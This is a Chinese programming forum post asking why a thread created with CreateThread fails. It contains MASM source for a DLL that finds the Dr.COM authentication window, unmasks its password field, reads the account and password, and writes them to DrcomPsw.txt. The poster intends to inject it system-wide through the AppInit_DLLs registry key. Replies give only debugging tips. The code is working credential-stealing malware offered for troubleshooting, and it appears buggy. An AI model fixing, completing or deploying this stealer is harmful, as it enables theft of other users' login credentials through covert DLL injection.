CreateThread创建的线程为何无法正常运行?
.386
.model flat, stdcall
option casemap :none
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; Include 文件定义
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
includewindows.inc
includeuser32.inc
includelibuser32.lib
includekernel32.inc
includelibkernel32.lib
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; #########################################################################
szText MACRO Name, Text:VARARG
LOCAL lbl
jmp lbl
Name db Text,0
lbl:
ENDM
m2m MACRO M1, M2
push M2
pop M1
ENDM
return MACRO arg
mov eax, arg
ret
ENDM
; #########################################################################
.data
szCaption db 'szCaption ',0
szClaStat db 'Static ',0
szClaEdit db 'Edit ',0
szTitAcc db '用户帐号 ',0
szTitPsw db ' 密 码 ',0
szLog db 'DrcomPsw.txt ',0
szDestClass db '#32770 ',0;目标窗口的窗口类
szDrCaption db 'Dr.COM 用户认证程序 ',0
.data?
hInstance dd ?
hdrcom dd ?
hEditAcc dd ?
hEditPsw dd ?
hFile dd ?
hFind dd ?
oldWndPrc dd ?
idTimer dd ?
szPsw db 255 dup(?)
szAcc db 255 dup(?)
ThreadID DWORD ?
.const
szLogtxtdb '帐号:%s ',0dh,0ah
db '密码:%s ',0dh,0ah,0
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
.code
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
;保存密码到DrcomPsw.txt文件
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_SavePassproc
local @szBuffer[35]:byte,@dwBytesWrite
invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
invoke wsprintf,addr @szBuffer,addr szLogtxt,addr szAcc,addr szPsw
invoke CreateFile,addr szLog,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov hFile,eax
invoke WriteFile,hFile,addr @szBuffer,35,addr @dwBytesWrite,NULL
invoke CloseHandle,hFile
xor eax, eax
ret
_SavePassendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; 得到登陆窗口中帐号和密码框的句柄
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_FoundDrocmproc_hWnd,_uMsg,_idEvent,_dwTime
invokeFindWindow,addr szDestClass,addr szDrCaption
.ifeax
movhdrcom,eax
.endif
.if hdrcom
invoke FindWindowEx,hdrcom,NULL,addr szClaStat,addr szTitAcc
.if eax
invoke FindWindowEx,hdrcom,eax,addr szClaEdit,NULL
mov hEditAcc,eax
invoke SendMessage, hEditAcc, WM_GETTEXT, 255, addr szAcc
.endif
invoke FindWindowEx,hdrcom,NULL,addr szClaStat,addr szTitPsw
.if eax
invoke FindWindowEx,hdrcom,eax,addr szClaEdit,NULL
mov hEditPsw,eax
invoke PostMessage,hEditPsw,EM_SETPASSWORDCHAR,0,0
invoke SendMessage, hEditPsw, WM_GETTEXT, 255, addr szPsw
.endif
.endif
invoke _SavePass
xor eax, eax
ret
_FoundDrocmendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; 设置一个TIMER
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_FindDrocmproc
invoke SetTimer,NULL,NULL,100,addr _FoundDrocm
mov idTimer,eax
xor eax, eax
ret
_FindDrocmendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; 设置一个TIMER
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_Killtimerproc
invokeKillTimer,NULL,idTimer
xor eax, eax
ret
_Killtimerendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_GetPsw proc
;关键!!返回密码!(前提是密码必须放在共享段!)
lea eax, szPsw
ret
_GetPsw endp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_GetAcc proc
;关键!!返回密码!(前提是帐户必须放在共享段!)
lea eax, szAcc
ret
_GetAcc endp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
; dll 的入口函数
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
DllEntryproc_hInstance,_dwReason,_dwReserved
push_hInstance
pophInstance
szText LmTitle, "tstdll 's LibMain Function "
.if _dwReason == DLL_PROCESS_ATTACH
szText ATTACHPROCESS, "PROCESS_ATTACH "
invoke DisableThreadLibraryCalls,hInstance
invoke CreateThread,NULL,0,addr _FindDrocm,0,0,addr ThreadID
mov hFind,eax
return TRUE
; -----------------------------
; If error at startup, return 0
; System will abort loading DLL
; -----------------------------
.elseif _dwReason == DLL_PROCESS_DETACH
szText DETACHPROCESS, "PROCESS_DETACH "
.if hFind
invoke TerminateThread,hFind,0
.endif
invoke MessageBox,NULL,addr DETACHPROCESS,addr LmTitle,MB_OK
.elseif _dwReason == DLL_THREAD_ATTACH
szText ATTACHTHREAD, "THREAD_ATTACH "
invoke MessageBox,NULL,addr ATTACHTHREAD,addr LmTitle,MB_OK
.elseif _dwReason == DLL_THREAD_DETACH
szText DETACHTHREAD, "THREAD_DETACH "
invoke MessageBox,NULL,addr DETACHTHREAD,addr LmTitle,MB_OK
.endif
moveax,TRUE
ret
DllEntryEndp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
EndDllEntry
我本意是写一个DLL,然后添加到[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] "AppInit_DLLs "里。
可是添加进去就蓝屏。
另外CreateThread创建的线程总是无法运行。真晕了。如果用一个程序调用 _FindDrocm就可以。
[解决办法]
自己远程单步调试一下
[解决办法]
OS蓝屏么?分析一下崩溃转储
[解决办法]
_beginthreadex
[解决办法]
RemoteDebugging, Load Symbols